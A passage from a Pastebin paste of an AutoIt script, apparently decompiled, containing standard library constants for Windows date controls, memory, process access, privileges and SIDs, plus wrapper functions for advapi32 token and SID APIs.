Advertisement
Guest User

Untitled

a guest
Jan 19th, 2018
2,515
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 235.85 KB | None | 0 0
  1. Global Const $dts_shortdateformat = 0
  2. Global Const $dts_updown = 1
  3. Global Const $dts_shownone = 2
  4. Global Const $dts_longdateformat = 4
  5. Global Const $dts_timeformat = 9
  6. Global Const $dts_rightalign = 32
  7. Global Const $dts_shortdatecenturyformat = 12
  8. Global Const $dts_appcanparse = 16
  9. Global Const $dmw_longname = 0
  10. Global Const $dmw_shortname = 1
  11. Global Const $dmw_locale_longname = 2
  12. Global Const $dmw_locale_shortname = 3
  13. Global Const $gdt_error = -1
  14. Global Const $gdt_valid = 0
  15. Global Const $gdt_none = 1
  16. Global Const $gdtr_min = 1
  17. Global Const $gdtr_max = 2
  18. Global Const $mcht_nowhere = 0
  19. Global Const $mcht_title = 65536
  20. Global Const $mcht_calendar = 131072
  21. Global Const $mcht_todaylink = 196608
  22. Global Const $mcht_next = 16777216
  23. Global Const $mcht_prev = 33554432
  24. Global Const $mcht_titlebk = 65536
  25. Global Const $mcht_titlemonth = 65537
  26. Global Const $mcht_titleyear = 65538
  27. Global Const $mcht_titlebtnnext = 16842755
  28. Global Const $mcht_titlebtnprev = 33619971
  29. Global Const $mcht_calendarbk = 131072
  30. Global Const $mcht_calendardate = 131073
  31. Global Const $mcht_calendarday = 131074
  32. Global Const $mcht_calendarweeknum = 131075
  33. Global Const $mcht_calendardatenext = 16908288
  34. Global Const $mcht_calendardateprev = 33685504
  35. Global Const $mcs_daystate = 1
  36. Global Const $mcs_multiselect = 2
  37. Global Const $mcs_weeknumbers = 4
  38. Global Const $mcs_notodaycircle = 8
  39. Global Const $mcs_notoday = 16
  40. Global Const $mcs_notrailingdates = 64
  41. Global Const $mcs_shortdaysofweek = 128
  42. Global Const $mcs_noselchangeonnav = 256
  43. Global Const $mcm_first = 4096
  44. Global Const $mcm_getcalendarborder = ($mcm_first + 31)
  45. Global Const $mcm_getcalendarcount = ($mcm_first + 23)
  46. Global Const $mcm_getcalendargridinfo = ($mcm_first + 24)
  47. Global Const $mcm_getcalid = ($mcm_first + 27)
  48. Global Const $mcm_getcolor = ($mcm_first + 11)
  49. Global Const $mcm_getcurrentview = ($mcm_first + 22)
  50. Global Const $mcm_getcursel = ($mcm_first + 1)
  51. Global Const $mcm_getfirstdayofweek = ($mcm_first + 16)
  52. Global Const $mcm_getmaxselcount = ($mcm_first + 3)
  53. Global Const $mcm_getmaxtodaywidth = ($mcm_first + 21)
  54. Global Const $mcm_getminreqrect = ($mcm_first + 9)
  55. Global Const $mcm_getmonthdelta = ($mcm_first + 19)
  56. Global Const $mcm_getmonthrange = ($mcm_first + 7)
  57. Global Const $mcm_getrange = ($mcm_first + 17)
  58. Global Const $mcm_getselrange = ($mcm_first + 5)
  59. Global Const $mcm_gettoday = ($mcm_first + 13)
  60. Global Const $mcm_getunicodeformat = 8192 + 6
  61. Global Const $mcm_hittest = ($mcm_first + 14)
  62. Global Const $mcm_setcalendarborder = ($mcm_first + 30)
  63. Global Const $mcm_setcalid = ($mcm_first + 28)
  64. Global Const $mcm_setcolor = ($mcm_first + 10)
  65. Global Const $mcm_setcurrentview = ($mcm_first + 32)
  66. Global Const $mcm_setcursel = ($mcm_first + 2)
  67. Global Const $mcm_setdaystate = ($mcm_first + 8)
  68. Global Const $mcm_setfirstdayofweek = ($mcm_first + 15)
  69. Global Const $mcm_setmaxselcount = ($mcm_first + 4)
  70. Global Const $mcm_setmonthdelta = ($mcm_first + 20)
  71. Global Const $mcm_setrange = ($mcm_first + 18)
  72. Global Const $mcm_setselrange = ($mcm_first + 6)
  73. Global Const $mcm_settoday = ($mcm_first + 12)
  74. Global Const $mcm_setunicodeformat = 8192 + 5
  75. Global Const $mcm_sizerecttomin = ($mcm_first + 29)
  76. Global Const $mcn_first = -746
  77. Global Const $mcn_selchange = ($mcn_first - 3)
  78. Global Const $mcn_getdaystate = ($mcn_first - 1)
  79. Global Const $mcn_select = ($mcn_first)
  80. Global Const $mcn_viewchange = ($mcn_first - 4)
  81. Global Const $mcsc_background = 0
  82. Global Const $mcsc_monthbk = 4
  83. Global Const $mcsc_text = 1
  84. Global Const $mcsc_titlebk = 2
  85. Global Const $mcsc_titletext = 3
  86. Global Const $mcsc_trailingtext = 5
  87. Global Const $dtm_first = 4096
  88. Global Const $dtm_getsystemtime = $dtm_first + 1
  89. Global Const $dtm_setsystemtime = $dtm_first + 2
  90. Global Const $dtm_getrange = $dtm_first + 3
  91. Global Const $dtm_setrange = $dtm_first + 4
  92. Global Const $dtm_setformat = $dtm_first + 5
  93. Global Const $dtm_setmccolor = $dtm_first + 6
  94. Global Const $dtm_getmccolor = $dtm_first + 7
  95. Global Const $dtm_getmonthcal = $dtm_first + 8
  96. Global Const $dtm_setmcfont = $dtm_first + 9
  97. Global Const $dtm_getmcfont = $dtm_first + 10
  98. Global Const $dtm_setformatw = $dtm_first + 50
  99. Global Const $dtn_first = -740
  100. Global Const $dtn_first2 = -753
  101. Global Const $dtn_datetimechange = $dtn_first2 - 6
  102. Global Const $dtn_userstring = $dtn_first2 - 5
  103. Global Const $dtn_wmkeydown = $dtn_first2 - 4
  104. Global Const $dtn_format = $dtn_first2 - 3
  105. Global Const $dtn_formatquery = $dtn_first2 - 2
  106. Global Const $dtn_dropdown = $dtn_first2 - 1
  107. Global Const $dtn_closeup = $dtn_first2 + 0
  108. Global Const $dtn_userstringw = $dtn_first - 5
  109. Global Const $dtn_wmkeydownw = $dtn_first - 4
  110. Global Const $dtn_formatw = $dtn_first - 3
  111. Global Const $dtn_formatqueryw = $dtn_first - 2
  112. Global Const $gui_ss_default_date = $dts_longdateformat
  113. Global Const $gui_ss_default_monthcal = 0
  114. Global Const $gmem_fixed = 0
  115. Global Const $gmem_moveable = 2
  116. Global Const $gmem_nocompact = 16
  117. Global Const $gmem_nodiscard = 32
  118. Global Const $gmem_zeroinit = 64
  119. Global Const $gmem_modify = 128
  120. Global Const $gmem_discardable = 256
  121. Global Const $gmem_not_banked = 4096
  122. Global Const $gmem_share = 8192
  123. Global Const $gmem_ddeshare = 8192
  124. Global Const $gmem_notify = 16384
  125. Global Const $gmem_lower = 4096
  126. Global Const $gmem_valid_flags = 32626
  127. Global Const $gmem_invalid_handle = 32768
  128. Global Const $gptr = BitOR($gmem_fixed, $gmem_zeroinit)
  129. Global Const $ghnd = BitOR($gmem_moveable, $gmem_zeroinit)
  130. Global Const $mem_commit = 4096
  131. Global Const $mem_reserve = 8192
  132. Global Const $mem_top_down = 1048576
  133. Global Const $mem_shared = 134217728
  134. Global Const $page_noaccess = 1
  135. Global Const $page_readonly = 2
  136. Global Const $page_readwrite = 4
  137. Global Const $page_execute = 16
  138. Global Const $page_execute_read = 32
  139. Global Const $page_execute_readwrite = 64
  140. Global Const $page_execute_writecopy = 128
  141. Global Const $page_guard = 256
  142. Global Const $page_nocache = 512
  143. Global Const $page_writecombine = 1024
  144. Global Const $page_writecopy = 8
  145. Global Const $mem_decommit = 16384
  146. Global Const $mem_release = 32768
  147. Global Const $process_terminate = 1
  148. Global Const $process_create_thread = 2
  149. Global Const $process_set_sessionid = 4
  150. Global Const $process_vm_operation = 8
  151. Global Const $process_vm_read = 16
  152. Global Const $process_vm_write = 32
  153. Global Const $process_dup_handle = 64
  154. Global Const $process_create_process = 128
  155. Global Const $process_set_quota = 256
  156. Global Const $process_set_information = 512
  157. Global Const $process_query_information = 1024
  158. Global Const $process_query_limited_information = 4096
  159. Global Const $process_suspend_resume = 2048
  160. Global Const $process_all_access = 2035711
  161. Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
  162. Global Const $se_audit_name = "SeAuditPrivilege"
  163. Global Const $se_backup_name = "SeBackupPrivilege"
  164. Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
  165. Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
  166. Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
  167. Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
  168. Global Const $se_create_symbolic_link_name = "SeCreateSymbolicLinkPrivilege"
  169. Global Const $se_create_token_name = "SeCreateTokenPrivilege"
  170. Global Const $se_debug_name = "SeDebugPrivilege"
  171. Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
  172. Global Const $se_impersonate_name = "SeImpersonatePrivilege"
  173. Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
  174. Global Const $se_inc_working_set_name = "SeIncreaseWorkingSetPrivilege"
  175. Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
  176. Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
  177. Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
  178. Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
  179. Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
  180. Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
  181. Global Const $se_relabel_name = "SeRelabelPrivilege"
  182. Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
  183. Global Const $se_restore_name = "SeRestorePrivilege"
  184. Global Const $se_security_name = "SeSecurityPrivilege"
  185. Global Const $se_shutdown_name = "SeShutdownPrivilege"
  186. Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
  187. Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
  188. Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
  189. Global Const $se_systemtime_name = "SeSystemtimePrivilege"
  190. Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
  191. Global Const $se_tcb_name = "SeTcbPrivilege"
  192. Global Const $se_time_zone_name = "SeTimeZonePrivilege"
  193. Global Const $se_trusted_credman_access_name = "SeTrustedCredManAccessPrivilege"
  194. Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
  195. Global Const $se_undock_name = "SeUndockPrivilege"
  196. Global Const $se_privilege_enabled_by_default = 1
  197. Global Const $se_privilege_enabled = 2
  198. Global Const $se_privilege_removed = 4
  199. Global Const $se_privilege_used_for_access = -2147483648
  200. Global Const $se_group_mandatory = 1
  201. Global Const $se_group_enabled_by_default = 2
  202. Global Const $se_group_enabled = 4
  203. Global Const $se_group_owner = 8
  204. Global Const $se_group_use_for_deny_only = 16
  205. Global Const $se_group_integrity = 32
  206. Global Const $se_group_integrity_enabled = 64
  207. Global Const $se_group_resource = 536870912
  208. Global Const $se_group_logon_id = -1073741824
  209. Global Enum $tokenprimary = 1, $tokenimpersonation
  210. Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
  211. Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
  212. Global Const $token_assign_primary = 1
  213. Global Const $token_duplicate = 2
  214. Global Const $token_impersonate = 4
  215. Global Const $token_query = 8
  216. Global Const $token_query_source = 16
  217. Global Const $token_adjust_privileges = 32
  218. Global Const $token_adjust_groups = 64
  219. Global Const $token_adjust_default = 128
  220. Global Const $token_adjust_sessionid = 256
  221. Global Const $token_all_access = 983551
  222. Global Const $token_read = 131080
  223. Global Const $token_write = 131296
  224. Global Const $token_execute = 131072
  225. Global Const $token_has_traverse_privilege = 1
  226. Global Const $token_has_backup_privilege = 2
  227. Global Const $token_has_restore_privilege = 4
  228. Global Const $token_has_admin_group = 8
  229. Global Const $token_is_restricted = 16
  230. Global Const $token_session_not_referenced = 32
  231. Global Const $token_sandbox_inert = 64
  232. Global Const $token_has_impersonate_privilege = 128
  233. Global Const $rights_delete = 65536
  234. Global Const $read_control = 131072
  235. Global Const $write_dac = 262144
  236. Global Const $write_owner = 524288
  237. Global Const $synchronize = 1048576
  238. Global Const $access_system_security = 16777216
  239. Global Const $standard_rights_required = 983040
  240. Global Const $standard_rights_read = $read_control
  241. Global Const $standard_rights_write = $read_control
  242. Global Const $standard_rights_execute = $read_control
  243. Global Const $standard_rights_all = 2031616
  244. Global Const $specific_rights_all = 65535
  245. Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
  246. Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
  247. Global Const $logon_with_profile = 1
  248. Global Const $logon_netcredentials_only = 2
  249. Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
  250. Global Const $sid_administrators = "S-1-5-32-544"
  251. Global Const $sid_users = "S-1-5-32-545"
  252. Global Const $sid_guests = "S-1-5-32-546"
  253. Global Const $sid_account_operators = "S-1-5-32-548"
  254. Global Const $sid_server_operators = "S-1-5-32-549"
  255. Global Const $sid_print_operators = "S-1-5-32-550"
  256. Global Const $sid_backup_operators = "S-1-5-32-551"
  257. Global Const $sid_replicator = "S-1-5-32-552"
  258. Global Const $sid_owner = "S-1-3-0"
  259. Global Const $sid_everyone = "S-1-1-0"
  260. Global Const $sid_network = "S-1-5-2"
  261. Global Const $sid_interactive = "S-1-5-4"
  262. Global Const $sid_system = "S-1-5-18"
  263. Global Const $sid_authenticated_users = "S-1-5-11"
  264. Global Const $sid_schannel_authentication = "S-1-5-64-14"
  265. Global Const $sid_digest_authentication = "S-1-5-64-21"
  266. Global Const $sid_nt_service = "S-1-5-80"
  267. Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
  268. Global Const $sid_low_mandatory_level = "S-1-16-4096"
  269. Global Const $sid_medium_mandatory_level = "S-1-16-8192"
  270. Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
  271. Global Const $sid_high_mandatory_level = "S-1-16-12288"
  272. Global Const $sid_system_mandatory_level = "S-1-16-16384"
  273. Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
  274. Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
  275. Global Const $sid_all_services = "S-1-5-80-0"
  276.  
  277. Func _winapi_getlasterror(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  278.     Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  279.     Return SetError($_icurrenterror, $_icurrentextended, $aresult[0])
  280. EndFunc
  281.  
  282. Func _winapi_setlasterror($ierrorcode, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  283.     DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
  284.     Return SetError($_icurrenterror, $_icurrentextended, NULL )
  285. EndFunc
  286.  
  287. Func __comerrorformating($ocomerror, $sprefix = @TAB)
  288.     Local Const $str_striptrailing = 2
  289.     Local $serror = "COM Error encountered in " & @ScriptName & " (" & $ocomerror.scriptline & ") :" & @CRLF & $sprefix & "Number        " & @TAB & "= 0x" & Hex($ocomerror.number, 8) & " (" & $ocomerror.number & ")" & @CRLF & $sprefix & "WinDescription" & @TAB & "= " & StringStripWS($ocomerror.windescription, $str_striptrailing) & @CRLF & $sprefix & "Description   " & @TAB & "= " & StringStripWS($ocomerror.description, $str_striptrailing) & @CRLF & $sprefix & "Source        " & @TAB & "= " & $ocomerror.source & @CRLF & $sprefix & "HelpFile      " & @TAB & "= " & $ocomerror.helpfile & @CRLF & $sprefix & "HelpContext   " & @TAB & "= " & $ocomerror.helpcontext & @CRLF & $sprefix & "LastDllError  " & @TAB & "= " & $ocomerror.lastdllerror & @CRLF & $sprefix & "Retcode       " & @TAB & "= 0x" & Hex($ocomerror.retcode)
  290.     Return $serror
  291. EndFunc
  292.  
  293. Func _security__adjusttokenprivileges($htoken, $bdisableall, $tnewstate, $ibufferlen, $tprevstate = 0, $prequired = 0)
  294.     Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $bdisableall, "struct*", $tnewstate, "dword", $ibufferlen, "struct*", $tprevstate, "struct*", $prequired)
  295.     If @error Then Return SetError(@error, @extended, False)
  296.     Return NOT ($acall[0] = 0)
  297. EndFunc
  298.  
  299. Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
  300.     Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
  301.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False)
  302.     Return True
  303. EndFunc
  304.  
  305. Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
  306.     Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
  307.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  308.     Return $acall[6]
  309. EndFunc
  310.  
  311. Func _security__getaccountsid($saccount, $ssystem = "")
  312.     Local $aacct = _security__lookupaccountname($saccount, $ssystem)
  313.     If @error Then Return SetError(@error, @extended, 0)
  314.     If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
  315.     Return ""
  316. EndFunc
  317.  
  318. Func _security__getlengthsid($psid)
  319.     If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0)
  320.     Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
  321.     If @error Then Return SetError(@error, @extended, 0)
  322.     Return $acall[0]
  323. EndFunc
  324.  
  325. Func _security__gettokeninformation($htoken, $iclass)
  326.     Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
  327.     If @error OR NOT $acall[5] Then Return SetError(@error + 10, @extended, 0)
  328.     Local $ilen = $acall[5]
  329.     Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
  330.     $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
  331.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  332.     Return $tbuffer
  333. EndFunc
  334.  
  335. Func _security__impersonateself($ilevel = $securityimpersonation)
  336.     Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
  337.     If @error Then Return SetError(@error, @extended, False)
  338.     Return NOT ($acall[0] = 0)
  339. EndFunc
  340.  
  341. Func _security__isvalidsid($psid)
  342.     Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
  343.     If @error Then Return SetError(@error, @extended, False)
  344.     Return NOT ($acall[0] = 0)
  345. EndFunc
  346.  
  347. Func _security__lookupaccountname($saccount, $ssystem = "")
  348.     Local $tdata = DllStructCreate("byte SID[256]")
  349.     Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
  350.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  351.     Local $aacct[3]
  352.     $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
  353.     $aacct[1] = $acall[5]
  354.     $aacct[2] = $acall[7]
  355.     Return $aacct
  356. EndFunc
  357.  
  358. Func _security__lookupaccountsid($vsid, $ssystem = "")
  359.     Local $psid, $aacct[3]
  360.     If IsString($vsid) Then
  361.         $psid = _security__stringsidtosid($vsid)
  362.     Else
  363.         $psid = $vsid
  364.     EndIf
  365.     If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0)
  366.     Local $stypesystem = "ptr"
  367.     If $ssystem Then $stypesystem = "wstr"
  368.     Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $stypesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
  369.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  370.     Local $aacct[3]
  371.     $aacct[0] = $acall[3]
  372.     $aacct[1] = $acall[5]
  373.     $aacct[2] = $acall[7]
  374.     Return $aacct
  375. EndFunc
  376.  
  377. Func _security__lookupprivilegevalue($ssystem, $sname)
  378.     Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
  379.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  380.     Return $acall[3]
  381. EndFunc
  382.  
  383. Func _security__openprocesstoken($hprocess, $iaccess)
  384.     Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
  385.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  386.     Return $acall[3]
  387. EndFunc
  388.  
  389. Func _security__openthreadtoken($iaccess, $hthread = 0, $bopenasself = False)
  390.     If $hthread = 0 Then
  391.         Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  392.         If @error Then Return SetError(@error + 10, @extended, 0)
  393.         $hthread = $aresult[0]
  394.     EndIf
  395.     Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $bopenasself, "handle*", 0)
  396.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  397.     Return $acall[4]
  398. EndFunc
  399.  
  400. Func _security__openthreadtokenex($iaccess, $hthread = 0, $bopenasself = False)
  401.     Local $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself)
  402.     If $htoken = 0 Then
  403.         Local Const $error_no_token = 1008
  404.         If _winapi_getlasterror() <> $error_no_token Then Return SetError(20, _winapi_getlasterror(), 0)
  405.         If NOT _security__impersonateself() Then Return SetError(@error + 10, _winapi_getlasterror(), 0)
  406.         $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself)
  407.         If $htoken = 0 Then Return SetError(@error, _winapi_getlasterror(), 0)
  408.     EndIf
  409.     Return $htoken
  410. EndFunc
  411.  
  412. Func _security__setprivilege($htoken, $sprivilege, $benable)
  413.     Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
  414.     If $iluid = 0 Then Return SetError(@error + 10, @extended, False)
  415.     Local Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  416.     Local $tcurrstate = DllStructCreate($tagtoken_privileges)
  417.     Local $icurrstate = DllStructGetSize($tcurrstate)
  418.     Local $tprevstate = DllStructCreate($tagtoken_privileges)
  419.     Local $iprevstate = DllStructGetSize($tprevstate)
  420.     Local $trequired = DllStructCreate("int Data")
  421.     DllStructSetData($tcurrstate, "Count", 1)
  422.     DllStructSetData($tcurrstate, "LUID", $iluid)
  423.     If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
  424.     DllStructSetData($tprevstate, "Count", 1)
  425.     DllStructSetData($tprevstate, "LUID", $iluid)
  426.     Local $iattributes = DllStructGetData($tprevstate, "Attributes")
  427.     If $benable Then
  428.         $iattributes = BitOR($iattributes, $se_privilege_enabled)
  429.     Else
  430.         $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
  431.     EndIf
  432.     DllStructSetData($tprevstate, "Attributes", $iattributes)
  433.     If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
  434.     Return True
  435. EndFunc
  436.  
  437. Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
  438.     Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
  439.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False)
  440.     Return True
  441. EndFunc
  442.  
  443. Func _security__sidtostringsid($psid)
  444.     If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, 0, "")
  445.     Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
  446.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, "")
  447.     Local $pstringsid = $acall[2]
  448.     Local $alen = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $pstringsid)
  449.     Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & $alen[0] + 1 & "]", $pstringsid), "Text")
  450.     DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pstringsid)
  451.     Return $ssid
  452. EndFunc
  453.  
  454. Func _security__sidtypestr($itype)
  455.     Switch $itype
  456.         Case $sidtypeuser
  457.             Return "User"
  458.         Case $sidtypegroup
  459.             Return "Group"
  460.         Case $sidtypedomain
  461.             Return "Domain"
  462.         Case $sidtypealias
  463.             Return "Alias"
  464.         Case $sidtypewellknowngroup
  465.             Return "Well Known Group"
  466.         Case $sidtypedeletedaccount
  467.             Return "Deleted Account"
  468.         Case $sidtypeinvalid
  469.             Return "Invalid"
  470.         Case $sidtypeunknown
  471.             Return "Unknown Type"
  472.         Case $sidtypecomputer
  473.             Return "Computer"
  474.         Case $sidtypelabel
  475.             Return "A mandatory integrity label SID"
  476.         Case Else
  477.             Return "Unknown SID Type"
  478.     EndSwitch
  479. EndFunc
  480.  
  481. Func _security__stringsidtosid($ssid)
  482.     Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
  483.     If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
  484.     Local $psid = $acall[2]
  485.     Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
  486.     Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
  487.     DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
  488.     DllCall("kernel32.dll", "handle", "LocalFree", "handle", $psid)
  489.     Return $tsid
  490. EndFunc
  491.  
  492. Global Const $tagpoint = "struct;long X;long Y;endstruct"
  493. Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  494. Global Const $tagsize = "struct;long X;long Y;endstruct"
  495. Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  496. Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
  497. Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
  498. Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
  499. Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
  500. Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  501. Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
  502. Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
  503. Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  504. Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  505. Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
  506. Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
  507. Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
  508. Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
  509. Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
  510. Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  511. Global Const $taggdip_effectparams_blur = "float Radius; bool ExpandEdge"
  512. Global Const $taggdip_effectparams_brightnesscontrast = "int BrightnessLevel; int ContrastLevel"
  513. Global Const $taggdip_effectparams_colorbalance = "int CyanRed; int MagentaGreen; int YellowBlue"
  514. Global Const $taggdip_effectparams_colorcurve = "int Adjustment; int Channel; int AdjustValue"
  515. Global Const $taggdip_effectparams_colorlut = "byte LutB[256]; byte LutG[256]; byte LutR[256]; byte LutA[256]"
